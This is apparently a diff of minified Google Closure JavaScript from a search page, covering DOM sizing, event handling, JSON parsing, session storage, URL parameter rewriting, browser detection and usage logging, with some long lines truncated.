+_.Mf=function(a){var b;if(_.Pe.He)b||(b=a.offsetHeight-(0,_.Lf)(a,"paddingTop")-(0,_.Lf)(a,"paddingBottom")-(0,_.Lf)(a,"borderTop")-(0,_.Lf)(a,"borderBottom"));else if(b=(0,_.Lf)(a,"height"),((0,window.isNaN)(b)||0==b)&&a.offsetHeight)b=a.offsetHeight-(0,_.Lf)(a,"padding-top")-(0,_.Lf)(a,"padding-bottom")-(0,_.Lf)(a,"border-top-width")-(0,_.Lf)(a,"border-bottom-width");return(0,window.isNaN)(b)||0>b?0:b};
+_.Nf=function(a){var b;if(_.Pe.He)(b=a.style.pixelWidth||0)||(b=a.offsetWidth-(0,_.Lf)(a,"paddingLeft")-(0,_.Lf)(a,"paddingRight")-(0,_.Lf)(a,"borderLeft")-(0,_.Lf)(a,"borderRight"));else if(b=(0,_.Lf)(a,"width"),((0,window.isNaN)(b)||0==b)&&a.offsetWidth)b=a.offsetWidth-(0,_.Lf)(a,"padding-left")-(0,_.Lf)(a,"padding-right")-(0,_.Lf)(a,"border-left-width")-(0,_.Lf)(a,"border-right-width");return(0,window.isNaN)(b)||0>b?0:b};_.Of=function(a){return(0,_.we)(a)+((0,_.Kf)()?(0,_.Nf)(a):0)};
+_.Pf=function(a){this.N=(this.B=-1<a.indexOf("/xjs"))?a.substr(0,a.indexOf("_/js/")):"/externjs/";this.ka=this.B?a.match(_.saa)[1]:a.match(_.taa)[1];this.S=a.match(/ver=([^/]+)/)[1];var b=a.match(/am=([^/]+)/);this.D=b&&b[1];this.M=a.match(/sv=([^/]+)/)[1];this.H=(a=a.match(/rs=([^/]+)/))&&a[1]};_.Qf=function(){var a=_.Dc.I();if(!_.Rf){a.FJ=_.j;var b=new _.Pf(window.google.xjsu);a.tL=b;_.Rf=_.j}return a};
+_.Sf=function(a,b){b=b||_.ka;var c=(0,_.Qf)(),d=b,e=c.Ay[a];e.eD?(c=new _.Ac(d,_.ba),window.setTimeout((0,_.Xa)(c.execute,c),0)):(0,_.Hc)(c,a)?e.qI(d,_.ba):(e.qI(d,_.ba),(0,_.Ic)(c,[a]))};
+_.Tf=function(a,b,c){for(var d=a;d!==_.l&&!(0,_.If)(d,"obcontainer");){if(d==window.document.body)return;d=d.parentNode}d=(0,_.af)("div.obselector",d);window.google.log("prose_onebox_dropdown","&id="+b);for(b=0;b<d.length;++b)d[b].style.display="none";"undefined"==typeof c?d[a.selectedIndex].style.display="inline":d[c].style.display="inline"};
+_.Uf=function(a,b,c,d,e,f){if(_.Vf){_.Vf=_.m;for(d=a;!(0,_.If)(d,"obcontainer");){if(d==window.document.body){_.Vf=_.j;return}d=d.parentNode}var g=(0,_.If)(d,"obsmo");g?(0,_.Gf)(d,"obsmo"):(0,_.Ff)(d,"obsmo");e=e||0;_.Wf&&(e=c=0);var h=c,i=e,n=[],p=[];e=g?1:0;c=1-e;var k,q,v,r=(0,_.af)("div.obsmw",d);d=0;for(var s;s=r[d++];)k=s.offsetHeight,_.Pe.Lt?(v=(0,_.Nf)(s.parentNode),q=0==v?0:-100*k/v-10,v="%"):(q=-k-1,v="px"),k=(1-e)*q,q*=1-c,n.push([s,"marginTop",k,q,_.l,v]),p.push([s.parentNode [...]
+e,c,_.l,""]);var A=function(){var a=r;"undefined"==typeof a.length&&(a=[a]);if(g)for(b=0;c=a[b++];)c.style.marginTop="-9999px";else for(var b=0,c;c=a[b++];)_.Pe.He?c.parentNode.style.removeAttribute("filter"):c.parentNode.style.opacity="";_.Vf=_.j;f&&f();_.Wf&&(window.document.body.className=window.document.body.className)};b?(0,_.lf)(h,p.concat(n),A):g?(0,_.lf)(h,p,function(){(0,_.lf)(i,n,A)}):(0,_.lf)(i,n,function(){(0,_.lf)(h,p,A)});a=a.getAttribute("data-log-id")||"";window.google.lo [...]
+(g?"close":"open")+"&id="+a)}};_.Xf=function(a,b,c){a.dataset?a.dataset[b]=c:a.setAttribute("data-"+(0,_.vb)(b),c)};_.Yf=function(a,b){return a.dataset?a.dataset[b]:a.getAttribute("data-"+(0,_.vb)(b))};_.Zf=function(a,b){this.type=a;this.currentTarget=this.target=b};_.$f=function(a){a.preventDefault()};_.ag=function(a){_.ag[" "](a);return a};_.bg=function(a,b){a&&this.init(a,b)};_.cg=function(a,b){return _.uaa?a.zw.button==b:"click"==a.type?0==b:!!(a.zw.button&_.vaa[b])};_.dg=function(){};
+_.eg=function(a,b,c,d,e){if((0,_.oa)(b)){for(var f=0;f<b.length;f++)(0,_.eg)(a,b[f],c,d,e);return _.l}return(0,_.fg)(a,b,c,_.m,d,e)};
+_.fg=function(a,b,c,d,e,f){b||(0,_.aa)((0,window.Error)("Invalid event type"));e=!!e;var g=_.gg;b in g||(g[b]={Sp:0,gz:0});g=g[b];e in g||(g[e]={Sp:0,gz:0},g.Sp++);var g=g[e],h=(0,_.Va)(a),i;g.gz++;if(g[h]){i=g[h];for(var n=0;n<i.length;n++)if(g=i[n],g.ez==c&&g.dC==f){if(g.nC)break;d||(i[n].AG=_.m);return i[n].key}}else i=g[h]=[],g.Sp++;var p=_.waa,k=_.hg?function(a){return p.call(k.src,k.ez,a)}:function(a){a=p.call(k.src,k.ez,a);if(!a)return a},n=k,g=new _.dg;g.init(c,n,a,b,e,f);g.AG=d; [...]
+g;i.push(g);_.ig[h]||(_.ig[h]=[]);_.ig[h].push(g);a.addEventListener?(a==_.ia||!a.sO)&&a.addEventListener(b,n,e):a.attachEvent(b in _.jg?_.jg[b]:_.jg[b]="on"+b,n);a=g.key;_.kg[a]=g;return a};_.lg=function(a,b,c,d,e){if((0,_.oa)(b)){for(var f=0;f<b.length;f++)(0,_.lg)(a,b[f],c,d,e);return _.l}return(0,_.fg)(a,b,c,_.j,d,e)};
+_.mg=function(a,b,c,d,e){if((0,_.oa)(b)){for(var f=0;f<b.length;f++)(0,_.mg)(a,b[f],c,d,e);return _.l}d=!!d;a=(0,_.ng)(a,b,d);if(!a)return _.m;for(f=0;f<a.length;f++)if(a[f].ez==c&&a[f].capture==d&&a[f].dC==e)return(0,_.pg)(a[f].key);return _.m};
+_.pg=function(a){if(!_.kg[a])return _.m;var b=_.kg[a];if(b.nC)return _.m;var c=b.src,d=b.type,e=b.B,f=b.capture;c.removeEventListener?(c==_.ia||!c.sO)&&c.removeEventListener(d,e,f):c.detachEvent&&c.detachEvent(d in _.jg?_.jg[d]:_.jg[d]="on"+d,e);c=(0,_.Va)(c);_.ig[c]&&(e=_.ig[c],(0,_.zb)(e,b),0==e.length&&delete _.ig[c]);b.nC=_.j;if(b=_.gg[d][f][c])b.LQ=_.j,(0,_.qg)(d,f,c,b);delete _.kg[a];return _.j};
+_.qg=function(a,b,c,d){if(!d.VH&&d.LQ){for(var e=0,f=0;e<d.length;e++)d[e].nC?d[e].B.src=_.l:(e!=f&&(d[f]=d[e]),f++);d.length=f;d.LQ=_.m;0==f&&(delete _.gg[a][b][c],_.gg[a][b].Sp--,0==_.gg[a][b].Sp&&(delete _.gg[a][b],_.gg[a].Sp--),0==_.gg[a].Sp&&delete _.gg[a])}};_.rg=function(a,b){var c=0,d=b==_.l;if(a!=_.l){var e=(0,_.Va)(a);if(_.ig[e])for(var e=_.ig[e],f=e.length-1;0<=f;f--){var g=e[f];if(d||b==g.type)(0,_.pg)(g.key),c++}}else(0,_.Rb)(_.kg,function(a,b){(0,_.pg)(b);c++});return c};
+_.ng=function(a,b,c){var d=_.gg;return b in d&&(d=d[b],c in d&&(d=d[c],a=(0,_.Va)(a),d[a]))?d[a]:_.l};_.sg=function(a,b,c,d){var e=_.gg;return b in e&&(e=e[b],c in e)?(0,_.tg)(e[c],a,b,c,d):_.j};_.tg=function(a,b,c,d,e){var f=1;b=(0,_.Va)(b);if(a[b]){var g=--a.gz,h=a[b];h.VH?h.VH++:h.VH=1;try{for(var i=h.length,n=0;n<i;n++){var p=h[n];p&&!p.nC&&(f&=(0,_.ug)(p,e)!==_.m)}}finally{a.gz=window.Math.max(g,a.gz),h.VH--,(0,_.qg)(c,d,b,h)}}return(0,window.Boolean)(f)};
+_.ug=function(a,b){a.AG&&(0,_.pg)(a.key);return a.handleEvent(b)};
+_.waa=function(a,b){if(a.nC)return _.j;var c=a.type,d=_.gg;if(!(c in d))return _.j;var d=d[c],e,f;if(!_.hg){var g;if(!(g=b))a:{g=["window","event"];for(var h=_.ia;e=g.shift();)if(h[e]!=_.l)h=h[e];else{g=_.l;break a}g=h}e=g;g=_.j in d;h=_.m in d;if(g){if(0>e.keyCode||e.returnValue!=_.ba)return _.j;a:{var i=_.m;if(0==e.keyCode)try{e.keyCode=-1;break a}catch(n){i=_.j}if(i||e.returnValue==_.ba)e.returnValue=_.j}}i=new _.bg;i.init(e,this);e=_.j;try{if(g){for(var p=[],k=i.currentTarget;k;k=k.p [...]
+f=d[_.j];f.gz=f.Sp;for(var q=p.length-1;!i.mD&&0<=q&&f.gz;q--)i.currentTarget=p[q],e&=(0,_.tg)(f,p[q],c,_.j,i);if(h){f=d[_.m];f.gz=f.Sp;for(q=0;!i.mD&&q<p.length&&f.gz;q++)i.currentTarget=p[q],e&=(0,_.tg)(f,p[q],c,_.m,i)}}else e=(0,_.ug)(a,i)}finally{p&&(p.length=0)}return e}c=new _.bg(b,this);return e=(0,_.ug)(a,c)};_.vg=function(){};_.wg=function(a){a.preventDefault?a.preventDefault():a.returnValue=_.m};
+_.xg=function(a){var b=_.ia.document;return b&&!b.createEvent&&b.createEventObject?b.createEventObject(a):a};_.yg=function(a,b,c,d){this.X=a.replace(_.xaa,"_");this.AL=b||_.l;this.ka=c?(0,_.xg)(c):_.l;this.H=[];this.S={};this.ra=this.N=d||(0,_.zg)();this.oz={};this.oz["main-actionflow-branch"]=1;this.D=_.m;this.B={};this.M={};this.Fa=_.m;c&&(b&&"click"==c.type)&&this.action(b);_.Ag.push(this)};
+_.Bg=function(a,b,c,d){if(a.D||!a.oz[b])a.WB("done",b);else{c&&a.tick(c,d);a.oz[b]--;0==a.oz[b]&&delete a.oz[b];if(b=(0,_.Vb)(a.oz))if(a.Fa)b=_.j;else if(b=new _.Cg("beforedone",a),!a.dispatchEvent(b)||!_.Dg.dispatchEvent(b))b=_.m;else{var e=[];(0,_.Rb)(a.M,function(a,b){var c=(0,window.encodeURIComponent)(b);(0,window.encodeURIComponent)(a).replace(/%7C/g,"|");e.push(c+":"+a)});(c=e.join(","))&&(a.B.cad=c);b.type="done";b=_.Dg.dispatchEvent(b)}b&&(a.D=_.j,(0,_.zb)(_.Ag,a),a.AL=_.l,a.ka=_.l)}};
+_.Eg=function(a){a.D&&a.WB("tick")};_.Cg=function(a,b){_.Zf.call(this,a,b)};_.Fg=function(a){this.EE={};this.N={};this.B=_.l;this.D={};this.At=[];this.M=a||_.yaa};_.yaa=function(a){return new _.yg(a.action,a.actionElement,a.event)};_.Gg=function(a){a.FO&&0!=a.At.length&&_.ia.setTimeout((0,_.Xa)(function(){this.FO(this.At,this)},a),0)};
+_.Hg=function(a){var b;if("keypress"==a.event.type||"keydown"==a.event.type||"keyup"==a.event.type){b=a.event;var c;if(window.document.createEvent)if(c=window.document.createEvent("KeyboardEvent"),c.initKeyboardEvent){var d;d=b.ctrlKey;var e=b.metaKey,f=b.shiftKey,g=[];b.altKey&&g.push("Alt");d&&g.push("Control");e&&g.push("Meta");f&&g.push("Shift");d=g.join(" ");c.initKeyboardEvent(b.type,_.j,_.j,window,b.charCode,b.keyCode,b.location,d,b.repeat,b.locale)}else c.initKeyEvent(b.type,_.j, [...]
+b.ctrlKey,b.altKey,b.shiftKey,b.metaKey,b.keyCode,b.charCode);else c=window.document.createEventObject(),c.type=b.type,c.repeat=b.repeat,c.ctrlKey=b.ctrlKey,c.altKey=b.altKey,c.shiftKey=b.shiftKey,c.metaKey=b.metaKey}else"click"==a.event.type||"dblclick"==a.event.type||"mousedown"==a.event.type||"mouseover"==a.event.type||"mouseout"==a.event.type||"mousemove"==a.event.type?(b=a.event,window.document.createEvent?(c=window.document.createEvent("MouseEvents"),c.initMouseEvent(b.type,_.j,_.j [...]
+b.screenX,b.screenY,b.clientX,b.clientY,b.ctrlKey,b.altKey,b.shiftKey,b.metaKey,b.button,b.relatedTarget)):(c=window.document.createEventObject(),c.type=b.type,c.clientX=b.clientX,c.clientY=b.clientY,c.button=b.button,c.detail=b.detail,c.ctrlKey=b.ctrlKey,c.altKey=b.altKey,c.shiftKey=b.shiftKey,c.metaKey=b.metaKey)):(b=a.event,window.document.createEvent?(c=window.document.createEvent("Event"),c.initEvent(b.type,_.j,_.j)):(c=window.document.createEventObject(),c.type=b.type));b=c;a=a.tar [...]
+a.dispatchEvent?a.dispatchEvent(b):a.fireEvent("on"+b.type,b)};_.zaa=function(a,b){for(var c=0;c<a.length;){var d=a[c];b.EE.hasOwnProperty(d.action)?((0,_.Hg)(d),(0,_.Hb)(a,c,1)):c++}};
+_.Aaa=function(a,b,c){var d={};d[b]=function(a){var b=a.AL,d;if(b.dataset)d=b.dataset;else{var h={};d=b.attributes;for(var i=0;i<d.length;++i){var n=d[i];if((0,_.eb)(n.name,"data-")){var p=(0,_.rb)(n.name.substr(5));h[p]=n.value}}d=h}h=a.event();if(c(b,d,h,a)&&(a=_.Ig[h.type]))for(b=0;b<a.length;++b)a[b].Hx(h)};(0,_.Rb)(d,(0,_.Xa)(function(b,c){a?this.EE[a+"."+c]=b:this.EE[c]=b},_.Jg));(0,_.Gg)(_.Jg)};
+_.Kg=function(a,b,c){if(window.google.jsad){for(var d in b)(0,_.Aaa)(a,d,b[d]);if(!c)for(d in _.Mg[a]=_.Mg[a]||[],b)(0,_.wb)(_.Mg[a],d)||(0,_.yb)(_.Mg[a],d)}};_.Ng=function(a,b){for(var c=0;c<b.length;++c){var d=b[c],e=_.l,e=a?a+"."+d:d;delete _.Jg.EE[e];a in _.Mg&&((0,_.zb)(_.Mg[a],b[c]),0==_.Mg[a].length&&delete _.Mg[a])}};_.Og=function(a,b){var c=_.Ig[a];if(!c)return _.l;for(var d=0;d<c.length;++d)if(c[d].Hx==b)return c[d];return _.l};_.Baa=function(a,b){(0,_.Sf)(b)};
+_.Caa=function(a){var b=(0,_.tf)();b&&b.hb();(!window.google.j||!window.google.j.init)&&a&&(0,_.yf)(a.href);return _.j};_.Daa=function(a,b){(0,_.yf)(b.url)};_.Eaa=function(a,b){window.open(b.url,b.target||"_blank",b.opt||"")};
+_.Pg=function(a){a=(0,window.String)(a);if(/^\s*$/.test(a)?0:/^[\],:{}\s\u2028\u2029]*$/.test(a.replace(/\\["\\\/bfnrtu]/g,"@").replace(/"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g,"")))try{return eval("("+a+")")}catch(b){}(0,_.aa)((0,window.Error)("Invalid JSON string: "+a))};_.Qg=function(a){return eval("("+a+")")};_.Rg=function(a,b){return(0,_.Sg)(new _.Tg(b),a)};_.Tg=function(a){this.B=a};
+_.Sg=function(a,b){var c=[];(0,_.Ug)(a,b,c);return c.join("")};
+_.Ug=function(a,b,c){switch(typeof b){case "string":(0,_.Vg)(a,b,c);break;case "number":c.push((0,window.isFinite)(b)&&!(0,window.isNaN)(b)?b:"null");break;case "boolean":c.push(b);break;case "undefined":c.push("null");break;case "object":if(b==_.l){c.push("null");break}if((0,_.oa)(b)){var d=b.length;c.push("[");for(var e="",f=0;f<d;f++)c.push(e),e=b[f],(0,_.Ug)(a,a.B?a.B.call(b,(0,window.String)(f),e):e,c),e=",";c.push("]");break}c.push("{");d="";for(f in b)window.Object.prototype.hasOw [...]
+f)&&(e=b[f],"function"!=typeof e&&(c.push(d),(0,_.Vg)(a,f,c),c.push(":"),(0,_.Ug)(a,a.B?a.B.call(b,f,e):e,c),d=","));c.push("}");break;case "function":break;default:(0,_.aa)((0,window.Error)("Unknown type: "+typeof b))}};_.Vg=function(a,b,c){c.push('"',b.replace(_.Faa,function(a){if(a in _.Wg)return _.Wg[a];var b=a.charCodeAt(0),c="\\u";16>b?c+="000":256>b?c+="00":4096>b&&(c+="0");return _.Wg[a]=c+b.toString(16)}),'"')};_.Xg=function(){};_.Yg=function(){};_.Zg=function(a){this.B=a};
+_.$g=function(){var a=_.l;try{a=window.sessionStorage||_.l}catch(b){}this.B=a};_.ah=function(a,b){_.bh.push(a);_.ch[a]=b;_.dh&&(0,_.eh)("init",a)};_.fh=function(a,b){b=b||{};b._e=_.ka;(0,_.ah)(a,b)};_.gh=function(a){window.google.pmc&&(("dispose"==a?_.eaa:_.Qb)(_.bh,function(b){(0,_.eh)(a,b)}),"dispose"==a&&(window.google.pmc=_.l),"init"==a?_.dh=_.j:"dispose"==a&&(_.dh=_.m))};
+_.eh=function(a,b){try{var c=_.ch[b];if(c){var d=c[a],e=window.google.pmc[b];d&&(e||(0,_.ih)(b))&&d(e)}}catch(f){window.google.ml(f,_.m,{cause:"m"+a,mid:b})}};_.jh=function(){_.kh={};try{var a=_.lh.get("web-mh");a&&(_.kh=(0,_.Qg)(a))}catch(b){}};_.ih=function(a){a=_.ch[a];return(0,window.Boolean)(a&&a._e)};_.mh=function(){};_.nh=function(a,b){this.N=a;this.M=b};_.oh=function(){return _.oh.B.B()};_.ph=function(){};
+_.qh=function(a){if(_.oh.Ic)return"";if(!a.M&&"undefined"==typeof window.XMLHttpRequest&&"undefined"!=typeof window.ActiveXObject){for(var b=["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"],c=0;c<b.length;c++){var d=b[c];try{return new window.ActiveXObject(d),a.M=d}catch(e){}}(0,_.aa)((0,window.Error)("Could not create ActiveXObject. ActiveX might be disabled, or MSXML might not be installed"))}return a.M};
+_.Gaa=function(a,b){var c=b.xhr,d=(0,_.oh)();d.open("GET",c,_.j);d.send("");c=(0,_.jd)("nossln");(0,_.De)(c,_.m)};_.rh=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,_.m):a.attachEvent("on"+b,c);(a==window||a==window.document||a==window.document.documentElement||a==window.document.body)&&window.google.jsad&&window.google.jsa&&window.google.jsa.adc(b,c,!!d)};
+_.sh=function(a,b,c){a.removeEventListener?a.removeEventListener(b,c,_.m):a.detachEvent("on"+b,c);(a==window||a==window.document||a==window.document.documentElement||a==window.document.body)&&window.google.jsad&&window.google.jsa&&window.google.jsa.rdc(b,c)};_.th=function(a){return a&&a.getAttribute?a.getAttribute("data-ved")||"":""};_.uh=function(a){if(a)for(var b=0,c;c=a.childNodes[b];b++)if(c=(0,_.th)(c))return c;return""};_.vh=function(){this.B=[];this.D=""};
+_.wh=function(a,b,c){a.B.push({dG:b,kS:c||"",oH:0})};_.xh=function(a,b,c){a.B.push({dG:b||"",kS:c||"",oH:1})};_.yh=function(a,b){var c="";b&&(c="string"==typeof b?b:window.google.getEI(b));return c&&c!=a.D?c:""};
+_.zh=function(a){for(var b=a.B.length,c=[],d,e,f=0;f<b;++f)d=(0,_.yh)(a,a.B[f].kS),!d&&0==a.B[f].oH?c.push(a.B[f].dG):1==a.B[f].oH?c.push(a.B[f].dG+"."+d+".h"):2==a.B[f].oH?(e=(e=(0,_.yh)(a,a.B[f].J4))?"."+e:"",a.B[f].wP&&a.B[f].wP&&c.push(a.B[f].dG+"."+d+".c."+a.B[f].wP+e)):c.push(a.B[f].dG+"."+d);a="&vet=1"+c.join(";");return a=0<b?a:""};_.Ah=function(){return!!(window.orientation%180)};_.Bh=function(){var a=(0,_.We)(1),b=(0,_.We)(3);return a<b};_.Haa=function(){};
+_.Ch=function(){return!(!/^mobilesearchapp/.test((0,_.Df)("client"))&&!/^mobilesearchapp/.test((0,_.Df)("source")))};_.Dh=function(a){for(var b=0;b<_.Eh.length;b++)if(_.Eh[b]==a)return;_.Eh.push(a);_.Fh||(_.Gh=window.orientation,_.Hh=window.innerWidth,"orientation"in window&&!(0,_.Ch)()&&window.addEventListener("orientationchange",_.Ih,_.m),window.addEventListener("resize",(0,_.Ch)()?_.Iaa:_.Ih,_.m),_.Fh=_.j)};_.Jh=function(a){for(var b=0;b<_.Eh.length;b++)if(_.Eh[b]==a){_.Eh.splice(b,1) [...]
+_.Ih=function(){if(!("orientation"in window&&!(0,_.Ch)()&&window.orientation==_.Gh||window.innerWidth==_.Hh)){var a=new _.Haa((0,_.Ah)());_.Gh=window.orientation;_.Hh=window.innerWidth;for(var b=0;b<_.Eh.length;b++)window.setTimeout((0,_.Za)(_.Eh[b],a),0)}};_.Iaa=function(){window.setTimeout(_.Ih,10)};_.Kh=function(a){for(var b=0;b<_.Lh.length;b+=2)a=a.replace((0,window.RegExp)(_.Lh[b],"g"),_.Lh[b+1]);return a};_.Mh=function(a){a||(a=window.event);return a.target||a.srcElement};
+_.Nh=function(a){a=a||window.event;_.Pe.He?a.cancelBubble=_.j:a.stopPropagation&&a.stopPropagation()};_.Oh=function(a){a.style.display="none";_.Ph[a.id]&&(0,_.sh)(window.document.body,"click",_.Ph[a.id])};
+_.Qh=function(a,b,c,d,e,f,g){var h=a?"&ved="+a:"",i=b?window.google.getEI(b):window.google.kEI,n=c||[];d=d||[];e=e||[];f=f||"";g=g||"";var p=new _.vh,k=n.length,q=e.length;p.D=i;for(i=0;i<k;i++)i>=q||e[i]?(0,_.wh)(p,n[i],d[i]):(0,_.xh)(p,n[i],d[i]);0==k&&(0<e.length&&!e[0])&&(0,_.xh)(p);n=(0,_.zh)(p);(i=b||d&&d[0])?window.google.log(f,g+h+n,"",i):window.google.ml((0,window.Error)("lbved"),_.m,{ved:a,trE:b,vet:c&&c[0],taE:d&&d[0],ct:f,data:g})};
+_.Rh=function(a,b,c,d,e){var f=a?(0,_.th)(a):"",g=[];if(b)for(var h=0,i;i=b[h];h++)(i=(0,_.th)(i))&&g.push(i);(0,_.Qh)(f,a,g,b,c,d,e)};_.Sh=function(a,b,c){var d=(0,window.RegExp)("([?&])"+b+"=.*?(&|$)");a=a.replace(/^([^#]*)(#|$)/,function(a,b){return b});return!a.match(d)&&""!=c?a+"&"+b+"="+c:a.replace(d,function(a,d,g){return c?d+b+"="+c+g:g?d:""})};_.Th=function(a){return/^(https?:\/\/[^/]*)?\/(search|images).*\?/.test(a.href)};_.Uh=function(a){return/\/search$/.test(a.action)};
+_.Vh=function(a,b,c,d){var e=window.document.getElementsByTagName("A");window.google.base_href&&(window.google.base_href=(0,_.Sh)(window.google.base_href,a,b));for(var f=0,g;g=e[f++];)if(c(g)){var h=0==g.children.length,h=_.Pe.He&&h?g.innerHTML:_.ba;g.href=(0,_.Sh)(g.href,a,b);h!=_.ba&&(g.innerHTML=h)}for(f=0;c=window.document.forms[f++];)if(d(c)){for(g=e=0;h=c.elements[g++];)h.name==a&&(e=1,""!=b?h.value=b:h.parentNode.removeChild(h));!e&&""!=b&&(e=window.document.createElement("input") [...]
+e.value=b,e.name=a,c.appendChild(e))}};_.Wh=function(a){if(a=(0,_.Mh)(a)){for(;!(0,_.If)(a,"qs");)if(a=a.parentNode,!a||a==window.document.body)return;var b=window.document.getElementsByName("q"),c=b&&b[0],b=(0,_.T)("tsf-oq");c&&(b&&window.M)&&(c=c.value,b=(0,_.Rd)(b),c&&c!=b&&(b=(0,_.Sh)(a.href,"q",(0,window.encodeURIComponent)(c)),a.href=(0,_.Sh)(b,"prmd","")))}};_.Xh=function(){var a=(0,_.T)("gbqf");return a&&"FORM"==a.tagName?a:_.l};_.Yh=function(a){_.Zh.push(a);return _.Zh.length-1};
+_.$h=function(){var a=_.ai.value;_.bi=a?(0,_.Qg)(a):{}};_.ci=function(a,b){_.ai&&((0,_.$h)(),_.bi[_.di]||(_.bi[_.di]={}),_.bi[_.di][a]=b,_.ai.value=(0,_.Rg)(_.bi))};window.google.timers&&window.google.timers.load.t&&(window.google.timers.load.t.xjses=window.google.time());
+_.ei=_.ei||{};_.ia=this;_.Wa="closure_uid_"+window.Math.floor(2147483648*window.Math.random()).toString(36);_.aaa=0;_.zg=window.Date.now||function(){return+new window.Date};window.Function.prototype.bind=window.Function.prototype.bind||function(a,b){if(1<arguments.length){var c=window.Array.prototype.slice.call(arguments,1);c.unshift(this,a);return _.Xa.apply(_.l,c)}return(0,_.Xa)(this,a)};
+(0,_.ab)(_.bb,window.Error);_.bb.prototype.name="CustomError";_.kb=/&/g;_.lb=/</g;_.mb=/>/g;_.ob=/\"/g;_.daa=/[&<>\"]/;_.Db=window.Array.prototype;_.xb=_.Db.indexOf?function(a,b,c){return _.Db.indexOf.call(a,b,c)}:function(a,b,c){c=c==_.l?0:0>c?window.Math.max(0,a.length+c):c;if((0,_.ua)(a))return!(0,_.ua)(b)||1!=b.length?-1:a.indexOf(b,c);for(;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1};_.Qb=_.Db.forEach?function(a,b,c){_.Db.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.len [...]
+_.Sc=_.Db.filter?function(a,b,c){return _.Db.filter.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=[],f=0,g=(0,_.ua)(a)?a.split(""):a,h=0;h<d;h++)if(h in g){var i=g[h];b.call(c,i,h,a)&&(e[f++]=i)}return e};_.Lc=_.Db.map?function(a,b,c){return _.Db.map.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=(0,window.Array)(d),f=(0,_.ua)(a)?a.split(""):a,g=0;g<d;g++)g in f&&(e[g]=b.call(c,f[g],g,a));return e};
+_.wc=_.Db.some?function(a,b,c){return _.Db.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=(0,_.ua)(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return _.j;return _.m};_.fi=_.Db.every?function(a,b,c){return _.Db.every.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=(0,_.ua)(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&!b.call(c,e[f],f,a))return _.m;return _.j};
+_.Nb="StopIteration"in _.ia?_.ia.StopIteration:(0,window.Error)("StopIteration");_.Lb.prototype.B=function(){(0,_.aa)(_.Nb)};_.Lb.prototype.SA=function(){return this};_.Xb="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.F=_.ac.prototype;_.F.Sp=0;_.F.cF=0;_.F.CA=(0,_.ga)("Sp");_.F.Zy=function(){(0,_.dc)(this);for(var a=[],b=0;b<this.B.length;b++)a.push(this.D[this.B[b]]);return a};_.F.UA=function(){(0,_.dc)(this);return this.B.c [...]
+_.F.equals=function(a,b){if(this===a)return _.j;if(this.Sp!=a.CA())return _.m;var c=b||_.faa;(0,_.dc)(this);for(var d,e=0;d=this.B[e];e++)if(!c(this.get(d),a.get(d)))return _.m;return _.j};_.F.isEmpty=function(){return 0==this.Sp};_.F.clear=function(){this.D={};this.cF=this.Sp=this.B.length=0};_.F.remove=function(a){return(0,_.cc)(this.D,a)?(delete this.D[a],this.Sp--,this.cF++,this.B.length>2*this.Sp&&(0,_.dc)(this),_.j):_.m};_.F.get=function(a,b){return(0,_.cc)(this.D,a)?this.D[a]:b};
+_.F.set=function(a,b){(0,_.cc)(this.D,a)||(this.Sp++,this.B.push(a),this.cF++);this.D[a]=b};_.F.clone=function(){return new _.ac(this)};_.F.SA=function(a){(0,_.dc)(this);var b=0,c=this.B,d=this.D,e=this.cF,f=this,g=new _.Lb;g.B=function(){for(;;){e!=f.cF&&(0,_.aa)((0,window.Error)("The map has changed since the iterator was created"));b>=c.length&&(0,_.aa)(_.Nb);var g=c[b++];return a?g:d[g]}};return g};
+_.ki=_.ji=_.ii=_.hi=_.gi=_.m;if(_.ni=(0,_.ec)()){_.Jaa=(0,_.fc)();_.gi=0==_.ni.indexOf("Opera");_.hi=!_.gi&&-1!=_.ni.indexOf("MSIE");_.ji=(_.ii=!_.gi&&-1!=_.ni.indexOf("WebKit"))&&-1!=_.ni.indexOf("Mobile");_.ki=!_.gi&&!_.ii&&"Gecko"==_.Jaa.product}_.ie=_.gi;_.lc=_.hi;_.he=_.ki;_.sd=_.ii;_.oi=_.ji;_.pi=(0,_.fc)();_.qi=_.pi&&_.pi.platform||"";_.pe=-1!=_.qi.indexOf("Mac");_.li=-1!=_.qi.indexOf("Win");_.mi=-1!=_.qi.indexOf("Linux");_.qe=!!(0,_.fc)()&&-1!=((0,_.fc)().appVersion||"").indexOf("X11");
+_.ri=(0,_.ec)();_.ri&&_.ri.indexOf("Android");_.ri&&_.ri.indexOf("iPhone");_.ri&&_.ri.indexOf("iPad");a:{_.ti="";if(_.ie&&_.ia.opera){_.vi=_.ia.opera.version;_.ti="function"==typeof _.vi?(0,_.vi)():_.vi}else if(_.he?_.ui=/rv\:([^\);]+)(\)|;)/:_.lc?_.ui=/MSIE\s+([^\);]+)(\)|;)/:_.sd&&(_.ui=/WebKit\/(\S+)/),_.ui){_.wi=_.ui.exec((0,_.ec)());_.ti=_.wi?_.wi[1]:""}if(_.lc){_.xi=(0,_.gc)();if(_.xi>(0,window.parseFloat)(_.ti)){_.si=(0,window.String)(_.xi);break a}}_.si=_.ti}_.jc=_.si;_.ic={};_.y [...]
+_.mc.prototype.Ja=_.m;_.mc.prototype.dispose=function(){this.Ja||(this.Ja=_.j,this.Cf())};_.mc.prototype.Cf=function(){this.Lf&&_.pc.apply(_.l,this.Lf);if(this.Mt)for(;this.Mt.length;)this.Mt.shift()()};/*
+ Portions of this code are from MochiKit, received by
+ The Closure Authors under the MIT license. All other code is Copyright
+ 2005-2009 The Closure Authors. All Rights Reserved.
+*/
